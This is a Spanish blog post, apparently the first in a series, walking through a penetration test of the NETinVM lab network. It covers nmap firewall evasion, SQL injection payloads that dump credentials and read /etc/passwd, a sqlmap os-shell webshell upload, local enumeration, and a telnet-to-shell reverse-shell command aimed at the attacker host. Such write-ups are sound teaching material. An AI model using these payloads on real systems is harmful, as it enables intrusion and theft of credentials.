Inicio » Contenidos » Atacando Lab in a box1 (NETinVM-pte)…Un firewall, una DMZ y más…,

Atacando Lab in a box1 (NETinVM-pte)…Un firewall, una DMZ y más…,

Comenzamos una serie de post, cálculo que 3 o 4 como máximo, para resolver una VM que simula una red, que incluye la maquina atacante con un S.O. Backtrack 5 r2, un firewall, una zona DMZ con dos equipos, y un equipo interno.

Como todo tiene un principio, nos facilitan la red en la que se encuentran los equipos 10.5.0.0/16, y también nos dan indicaciones de que en las subredes 10.5.1.0/24 y 10.5.2.0/24 tenemos nuestros blancos…

Visto lo cual empezaremos a realizar un escaneo con nmap, utilizaremos zenmap para realizarlo, por tanto 10.5.0.0/24 –T4 –A –v y como observareis 2 host activos 10.5.0.1 (nosotros) y 10.5.0.254 el cual tiene 2 puertos abiertos el 21 ftp y el 80 http…

1

No concuerda con la información que manejamos, así que deducimos que el firewall esta actuando, por tanto habremos de jugar con la fragmentación de los paquetes, tenemos dos opciones la opción –f, que los fragmenta de modo automático con un tamaño de 8 bytes, o la opción –mtu que nos permite asignar un valor personalizado siempre que sea  múltiplo de 8, es esta opción la que se va a utilizar, en la captura los resultados de la fw.example.net.

2

Como resulta muy largo el escaneo de la red, vamos a mostrar los resultados de las subredes por separado, a continuación los resultados de la subred 10.5.1.0/24 en la cual se encuentran los hosts 10.5.1.10 y 10.5.1.11, en la captura los resultados de la dmza.example.net (10.5.1.10)

3


Los resultados de dmzb.example.net (10.5.1.11), y fijaos en como al host fw.example.net  le corresponden dos direcciones ip (10.5.0.254 y 10.5.1.254), lo observareis mejor en la captura de a continuación…

4

Y por ultimo los resultados del host inta.example.net (10.5.2.10) el cual no nos muestra de momento ningún puerto activo…y fijaos de nuevo como el host fw.example.net tiene de nuevo otras dos direcciones ip 10.5.0.254 y 10.5.2.254.

5

Por tanto ya tenemos la capacidad de al menos, tener una imagen mental de cómo se encuentra estructurada la red example.net (10.5.0.0/8)

6

Podemos discriminar los puertos de los servicios 80 http y 21 ftp,  que en un principio se nos mostraban abiertos en el host fw.example.net, cada uno a su respectivo host anfitrión http (80) dmza.example.net (10.5.1.10) y ftp (21y 20) dmzb.example.net (10.5.1.11), ahora que conocemos la estructura de la red, comenzamos a interesarnos por los servicios que ocupan los puertos que se encuentran abiertos y los S.O. sobre los que corren, en el caso de dmza.example.net vemos que es una instancia de Apache httpd versión 2.2.9 (Debian) PHP/5.2.6-1+lenny16 with Suhosin-Patch, la pagina web que alberga tienen el titulo exploit.co.il , y corre sobre el kernel Linux 2.6.X entre la versión 15 y la 30, la dmzb.example.net comparte el kernel Linux 2.6.X (15 a 30) con la dmza, pero da servicio ftp con una instancia de ProFTPD 1.3.3c.

Visitemos la página web directamente, por tanto http://10.5.1.10/

7

Comenzaremos por conocer su estructura, para ello utilizaremos el programa Dirbuster que nos la mostrara…

8

Así de primeras vemos que la pagina trata sobre SQLi, muy sugerente así que probemos… http://10.5.1.10/newspage.php?=’ a ver que pasa…

9

   Bien, podemos insistir algo más… probemos con:

“/newspage.php?id=x’%20union%20all%20select%201,2,username,4,5,6,password%20from%20members%20limit%201,1%23 “

10

También podemos probar a ver si leemos algo más interesante… “/newspage.php?id=x’%20union%20all%20select%201,2,3,4,5,6,load_file(‘/etc/passwd’)%23″

11

Bueno probemos con el /etc/shadow, a ver si es posible ahorrarnos trabajo…pero no tenemos acceso como veis en la captura, así que seguimos…

12

Con el user y el  password r00t / 1qa2ws que hemos sacado a ver si nos logeamos en la zona de administración…

13

 Y efectivamente entramos…

14

 De todas formas hay un directorio que me llama la atención /database/ por tanto vamos a visitarlo…

15

Muy bien la descargaremos y la echaremos un vistazo a ver si conseguimos algo…

16

Si la examinamos conseguimos los usuarios y las passwords para el back-end de la web, continuamos tratando de hacernos con un acceso en condiciones, como el objetivo aún está lejos (hacernos con el acceso a la maquina en la red interna), utilizaremos una herramienta menos sutil y más rápida sqlmap…

En primer lugar miraremos cual es el usuario con el que la web, (y nosotros al realizar la sqli) trabajamos…

17

Y observamos que es root, también podemos sacar la conclusión que trabajamos con la base de datos MySQL, observamos como nos muestra parte del banner, pero vamos confirmarlo…

18

19

Estupendo, confirmamos que la base de datos no se trata de exploit que hemos descargado anteriormente, sino MySQL…seguimos con ellas

20

Tratemos pues de descargar la password…

21

22

Y conseguimos los hashs de las passwords, observad como difieren los dos hashes el hash de debian-sys y el hash de root , y como el ataque por diccionario de sqlmap no ha funcionado con las mismas.

Todavía podemos hacer muchas cosas, no nos desesperamos y continuamos adelante poco a poco…Vamos a volcar las bases de datos a nuestro equipo…

23

24

Lo que nos permitirá tomarnos nuestro tiempo para estudiarlas tablas debidamente como vemos en la siguiente captura…

25

Como veis es mucho mas relajado de esta manera… tened en cuesta que nos encontramos en la frontera del reconocimiento activo, en un caso real deberíamos tener presente que el tiempo cuenta…

Por lo tanto, mientras que nos buscamos la vida con los hashes, o simplemente para asegurarnos el acceso de forma relativamente permanente,  vamos a crearnos nuestro acceso via web, para ello seguiremos utilizando sqlmap, que nos brindara mediante la opción –os-shell de tener un upload y una suerte de shell remota, para lo que necesitaremos un Full Path Disclosure, pero nosotros ya lo tenemos, recordad el error de la base de datos…

26

Tendremos que utilizar otro, porque no podrá realizar el upload de la shell en /var/www/ se encuentra protegido, pero siempre podríamos utilizar alguna herramienta…

27

Pero se puede conseguir como habéis observado por  medios tradicionales, por lo tanto a sqlmap le indicaremos que el full path es /var/www/admin/…

28

29

Y ahí se esta! Fijaos que nos indica cual es el uploader llamado stager http://10.5.1.10:80/admin/tmpubwfw.php que esta inyectado en la página web de la aplicación, y la webshell que crea  sqlmap  http://10.5.1.10:80/admin/tmpbldwb.php , y por supuesto el prompt os-shell> en el que realizaremos un ls a ver que nos muestra…

30

Y veamos el stager, y subamos algo ¿no?…

31

Subamos una webshell de nuestro gusto…aquí nos hemos limitado a subir una de las webshells que trae por defecto Backtrack R2, pero nada nos impide subir por ejemplo c99 o c100, o la que nos apetezca…

32

Y….

33

Y observemos el resultado…

34

Probemos a ver si es cierto…

35

Pues parece que si… aunque es engañoso… luego os cuento el por que, pero de momento sintámonos poderosos…

36

Muy bien, ahora vamos a bajarnos los humos a nosotros mismos, no somos root, no tenemos acceso real a todos esos directorios,… y eso no es bueno…pero aun no hemos comenzado a jugar en este equipo, tan solo nos hemos dejado una puerta abierta…

Pero tenemos una os-shell y una webshell los podemos aprovechar para aprender como se estudia un sistema operativo Linux para realizar (se supone al final del proceso) un ataque de elevación de privilegios.

Estamos al comienzo del test de penetración, hemos logrado acceso local al sistema remoto y queremos continuar hasta conseguir root…vamos a ver que tenemos en nuestras manos, para ello comenzaremos realizando un ejercicio de enumeración sobre el sistema operativo en primer lugar.

Ejecutaremos en nuestro os-shell, cat /etc/issue, cat /proc/version, y cat /etc/profile y nos mostrara una información muy interesante…

37

Vemos los resultados, NETinVM-Pentesting Edition (http://www.fairclothsec.com) Debian GNU/linux 5.0, la versión 2.6.26 del kernel, las versiones gcc 4.3.2, y Debian 4.3.2-1.1).

Observamos también que  mediante la ejecución de un cat /etc/profile dependiendo de nuestra id, si es igual a 0, o no  tendremos un path u otro…profundizando un poco más…

38

Vemos que tenemos la id “33”, que no es igual a 0, que cat /etc/bashrc no existe…

Mediante el comando ps aux | greep root veremos cuales son los servicios que están corriendo tienen los privilegios de root…

39

Sin tener privilegios de root ¿cuales tendremos?

40

Bien podríamos indagar un poquito en cron ¿no os parece?

41

Y también podríamos husmear en el servidor sshd que aparecía, ¿no os parece?, pues vamos a buscar en el directorio…

42

Muy interesante, veamos algo más de las mismas…

43

Bien hemos encontrado un par de cosas interesantes… como la ssh_host_rsa_key.pub ahora las bajaremos pero primero vamos a ver los archivos de configuración primero sshd_config

44

Después ssh_config

45

Y ahora bajamos ssh_host_rsa_key.pub…

46

Y después ssh_host_dsa_key.pub…

47

Vamos a ver si existe algún directorio con más llaves autorizadas, y veremos también que tenemos en el directorio /var / sobre nuestra base de datos mysql…

48

Pues no hay más directorios con llaves y vemos cosas interesantes en /var/.

¿Qué os parece si buscamos los servicios que se encuentran instalados en esta maquina? Para ello realizaremos un cat/etc/services

49

La salida esta truncada por que seria muy largo este post…de la misma manera que las aplicaciones que se encuentran instaladas mediante ls –alh  /sbin/

50

También miraremos cuantos archivos de configuración se encuentran escritos en el directorio /etc/, para ello ejecutaremos el comando:

ls –aRl /etc/ | awk ‘$~/^.*w/’ 2>/dev/null

51

Vamos a ver que interfaces de red tenemos en la maquina…

52

“And at last but not least”  pues trataremos de abrir una shell remota e interactiva en nuestro equipo, para ello abriremos 2 instancias de nc en nuestro equipo una para enviar puerto 4444 otra para recibir puerto 4445, y como veis el comando seria telnet 10.5.0.1 4444 | /bin/sh 10.5.1.10 4445…

53

Bueno pues no funciona, vemos que se envía mediante netstat y netstat –antup un syn pero algo bloquea (el firewall) nuestra conexión…tendremos que realizar algo distinto…

Muy bien, hasta aquí de momento, he de decir que todos estos comandos que hemos usado, no son sino una muestra insignificante de los que podemos usar.

Seguiremos en el lugar donde lo dejamos.

Lo único que no se cuando, muchos frentes abiertos (uno de ellos recién aprendido a andar), un par de cursos por medio, etc…

Un poco de paciencia

Hasta pronto

 

Anuncios

Un pensamiento en “Atacando Lab in a box1 (NETinVM-pte)…Un firewall, una DMZ y más…,

  1. Pingback: NETinVM: red de máquinas virtuales para aprender hacking – Seguridad PY

Responder

Por favor, inicia sesión con uno de estos métodos para publicar tu comentario:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s